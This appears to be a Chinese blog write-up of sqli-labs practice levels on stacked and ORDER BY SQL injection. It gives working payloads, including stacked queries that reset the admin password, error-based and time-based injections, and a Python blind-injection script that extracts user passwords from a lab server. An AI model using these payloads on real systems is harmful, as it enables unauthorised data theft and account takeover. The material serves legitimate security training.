本来想写的,但是网上一堆堆就不班门弄斧了,看师傅们的吧
堆叠注入详解
以sql 语句为例$sql = "SELECT * FROM users ORDER BY $id";
试?sort=1 desc 或者 asc
,显示结果不同,则表明可以注入。(升序 or 降序排列)对应英文单词descending,ascending
我们可利用 order by 后的一些参数进行注入
通常我们可以利用它与sort函数一起执行报错注入
procedure analyse()函数是MySQL内置的对MySQL字段值进行统计分析后给出建议的字段类型。
语法:
procesure analyse(max_elements,max_memory)
max_elements
指定每列非重复值的最大值,当超过这个值的时候,MySQL不会推荐enum类型。
max_memory
analyse()为每列找出所有非重复值所采用的最大内存大小。
经过简单的测试我们推测sql语句为:
SELECT * FROM users WHERE id='$id' LIMIT 0,1
成功插入语句hhh
经过简单的测试我们推测sql语句为:
SELECT * FROM users WHERE id=$id LIMIT 0,1
之后采用堆叠注入插入数据
测试数据,成功hhh
')
+堆叠注入经过简单的测试我们推测sql语句为:
SELECT * FROM users WHERE id=('$id') LIMIT 0,1
之后采用堆叠注入插入数据,成功执行
查询成功hhh
经过简单的测试我们推测sql语句为:
SELECT * FROM users WHERE id=$id LIMIT 0,1
,与39关差不多哈,就是没了错误回显
这一关不插入太多数据了,用update语句修改下发现没问题
首先看源码,很明显得从password注入
通过判断得到sql语句
SELECT * FROM users WHERE username='$username' and password='$password'
密码输入1';sql语句;
没有waf,只是sql语句改成了:
SELECT * FROM users WHERE username=('$username') and password=('$password')
利用语句:
c');你的sql语句;#
与42关一样,只是这关没有报错信息;试一下修改admin密码
1';update users set password = '2' where username = 'admin';--
修改成功,再次用原来的密码登录就会报错
算了这关老实一点,通过测试发现sql语句为:
"SELECT * FROM users WHERE username=('$username') and password=('$password')"
我们测试一下把密码改回来;
2');update users set password = '1' where username = 'admin';--
用密码为1登录,发现没问题哈哈哈
这里我选择了盲注,根据rand的true与false的不同
import requests
from bs4 import BeautifulSoup
url = "http://139.196.26.141:8082/Less-46/?sort=rand("
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f'ascii(substr((select group_concat(password) from users),{i},1))>{mid})'
r = requests.get(url+payload)
soup = BeautifulSoup(r.text, 'lxml')
if 'admin3' in soup.find_all("td")[1]:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
当然也可以使用延时的
sort=1%20and%20If(ascii(substr(database(),1,1))=116,0,sleep (5))
不过一般很慢不喜欢
对于报错注入也可以加上procedure analyse
来执行
sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
与上一关差不多就是加了个'
而已,
/?sort=1' and rand(false)--+
可以配合盲注很简单不多说
procedure analyse 参数后注入也行看上面,延时注入也行很简单,其他都不想说了,浪费时间的一关
本关与 less-46 的区别在于报错注入不能使用,不进行错误回显,因此其他的方法我们依旧 是可以使用的。 可以利用 sort=rand(true/false)进行判断。
?sort=rand(ascii(left(database(),1))=178)
And 后的延时注入sort=1%20and%20(If(ascii(substr(database(),1,1))=115,0,slee p(5)))
不看了无聊的题
执行 sql 语句我们这里使用的是 mysqli_multi_query()函数,而之前我们使用的是 mysqli _query(),区别在于 mysqli_multi_query()可以执行多个 sql 语句,而 mysqli_query()只能执行 一个 sql 语句,那么我们此处就可以执行多个 sql 语句进行注入,也就是我们之前提到的 sta tcked injection。
这里我们上述用到的方法依旧是可行的,我们这里就不重复了,这里就看下 stacked in jection。我们直接构造 payload:
sort=1;create table less50 like u
它的sql语句是sql="SELECT * FROM users ORDER BY '$id'";
所以构造如下即可无聊
sort=1’;create table less50 like u
这题我觉得做的意义不太大,和前面一样只是没错无回显了